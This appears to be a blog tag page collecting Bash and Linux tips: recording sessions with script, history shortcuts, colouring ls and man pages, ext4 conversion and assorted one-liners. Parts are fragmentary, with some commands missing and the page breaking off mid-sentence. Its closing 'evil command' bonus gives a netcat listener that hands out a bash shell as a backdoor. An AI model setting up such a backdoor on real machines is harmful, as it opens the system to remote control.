Blog Stats

Posts Tagged ‘Bash’

script is a quick and easy way to record everything you do in a terminal session. I use script to record sessions of me fixing a server, or troubleshooting Linux issues, and save it for future needs, or to pass on to others as training material.

Script makes a typescript of everything printed on your terminal. It is useful for students who need a hardcopy record of an interactive session as proof of an assignment, as the typescript file can be printed out later with lpr(1).

Using script to record your terminal session

It’s really quite simple to record your bash session. All you need to do is type script -a filename to start recording your session:

mk:~ # script -a 17_06_2010
Script started, file is 17_06_2010

Now that the recording has started, everything you type, as well as everything that returns as output, will be saved into the filename you chose to output to.

BashStyle-NG is a graphical Tool for changing the look and feel for Bash, Readline, Nano and Vim. It comes with 15 pre-defined styles that you can change as well as creating your own. You can also control the type and amount of commands in history to remember, use a welcome message, change the startup path and lots of other options.

The Borne Again Shell, better known as bash, is the default for most Linux distributions. It’s extremely powerful as far as command shells go, and holds all kinds of nifty tricks for those willing to learn. One of the best features is, in my opinion, the command history system.

There are many options to use with the bash history, some of them I use nearly every time I open a command shell. Today I’ll be covering some of the most useful aspects of the history, but I certainly won’t be able to cover them all.

Up/Down Arrows

Many of you probably know this one, but for anyone who doesn’t, it’ll make your life a lot easier. Any time you’re in the command shell, simply use the up and down arrows on your keyboard to move through the list of previously entered commands. Next time you enter a long command that turns out to have a typo, you don’t have to retype the whole thing just hit the up arrow and make whatever edits are needed.

!!

A similar feature to the one listed above is the double bang (!!). Those characters entered in the shell represent the last typed command. Let’s say you’re trying to run a command only to find out that you need root privileges to do it. Instead of retyping the whole command, you can simply enter

sudo!!

Bash will substitute the !! for the previous command, as in the example below.

This also works further backward, you can do something like

!-5

to recall the command 5 entries back in the history.

!(word)

Perhaps a few days ago you typed a long, complex command into your shell, for example a series of options for “wterm”. You can find and re-enter than command by using the history’s built in search. You simply add the first few letters of the command after the ! and bash will find it.

Be careful with this one. You may end up running something other than what you expected. Don’t use this for potentially dangerous commands like “rm” or “fdisk”.

!?(word)

This is similar to the last feature in that it searches the history for the word entered, but unlike !(word) this will find the word anywhere in the command, not just the beginning.

Be careful with this one. You may end up running something other than what you expected. Don’t use this for potentially dangerous commands like “rm” or “fdisk”.

Ctrl-R

This one may be my personal favorite history tool. It’s a bit like the !? item above, but interactive. In your command shell, hit Ctrl-R, and it will begin a search. As you type, bash will search the history and show you the results as you type. When it shows the command you want, simply hit enter and it will run that command. This can be safer than things like !? because you can see what the command will be before you run it, so you don’t have to guess or rely on memory.

Manual Search

Perhaps you don’t like the way Ctrl-R works, or you want to see ALL the commands you typed, or just the ones that contain a particular word. The history command will show you your full command history, along with the history number of each command (hold that thought, we’ll cover those numbers in a moment).

You can also specify the number of items the history command will show. To see the last 10 entries in the history, you could type

history10

To see all history entries that contain a particular word, you can use grep to filter the results, like below.

!(number)

When you use the history command to view your command history list, you’ll notice each item in the list has a number associated with it. You can use that to recall that particular command. For example, item 87 could be run again by entering

!87

into your shell.

Word replacement

This one’s pretty great. How many times have you written out some big long command only to realize you put, say, hdd when you wanted hdc? Well bash has you covered. You can replace a word in the previous command with another using “^”, as in the example below

Managing Your History

By default, the history is saved in ~/.bash_history. You can deal with this file however you see fit, but there are some useful things you could try to manage it automatically. Namely, setting the environment variables HISTSIZE and HISTFILESIZE. To set the number of entries that can be saved in the history file to 1000, enter

exportHISTFILESIZE=1000

into your shell. This will limit the file to 1000 entries. If you want to make this change permanent, put that export command into your .bashrc or .bash_profile file.

MyBashBurn is basically a Terminal User Interface (TUI) frontend for Bashburn script (it always had a bad interface) for Linux, which is a complete solution for burning or ripping CDs and DVDs. MyBashBurn uses dialog boxes/functions which draws (using ncurses) windows onto the screen.

Screenshots:

MyBashBurn features:

burn data Cds,

burn music Cds

multisession Cds

burn and create ISO files

burn bin/cue files

create mp3s, oggs and flac files

supports burning DVD-images and data DVDs,

and other options

Also makes use of advanced and extensive regular expressions for the control of the capabilities of backend applications to burn and create audio files. MyBashBurn depends on cdrecord and other backend applications, so basically if your writing device works with it, MyBashBurn will work flawlessly.

Some other bash history tips

The best way of finding something quickly in your bash history is simply by pressing ctrl+r and then typing out the start of the command it will auto complete it with any matches found in your bash history

If you don’t want to save duplicate commands in your bash history simply add export HISTCONTROL=ignoreboth to your .bashrc

echo ‘export HISTCONTROL=ignoreboth’ >> ~/.bashrc

If you want to change the lenght of history add export HISTSIZE=1000 to your .bashrc

I find that a little color on the command line helps make things easier to read. ls is easy to colorize: just add the line:

alias ls='ls --color=auto'

in your ~/.bashrc (then source it or open another terminal).

You can also set color up for your manpages. The easiest way to do this is using most as a pager: Install the most package, and then type

export MANPAGER="/usr/bin/most -s"

Try looking at a man page and you’ll suddenly see it in color! However, most isn’t as good as less as a pager, and if you’re accustomed to less you don’t necessarily want to retrain your fingers to new commands. An alternative is to set up assorted termcap-related environment variables to provide colors. Add these lines to your .bashrc:

Finally, you can install the package grc to provide color for certain commands (check /etc/grc.conf to confirm which ones — you can also add your own definitions here). Use it like this:

grc diff file1 file2 Although in the case of diff, a better solution may be to use vimdiff or gvimdiff, both of which provide colors by default and also puts the files side-by-side in a much easier to read format.

export LESS_TERMCAP_us=$'E[01;32m'

(with thanks to the CLUG wiki, which also has some other tips). Source your ~/.bashrc and type export MANPAGER="less" to clear the most setting (or just open a new terminal window) and take a look at a man page.

Note: not all systems automatically source ~/.bashrc on login. If you’re having problems, trying manually sourcing ~/.bashrc, and if that works, add a line

Before doing this, back-up all data on any ext3 partitions that are to be converted to ext4.
After running previous command you MUST run fsck, is needed to return the filesystem to a consistent state.

fsck -pDf /dev/yourpartition

Edit /etc/fstab and change the ‘type’ from ext3 to ext4 for any partitions that are converted to ext4.

5. On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

6. List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

7. Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

The above command suspends all Firefox Threads. Results in Zero CPU load. Useful when having 100+ Tabs open and you temporarily need the power elsewhere. Be careful – might produce RACE CONDITIONS or LOCKUPS in other processes or FF itself. Matching is case sensitive.

Bonus: an evil command -> create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like: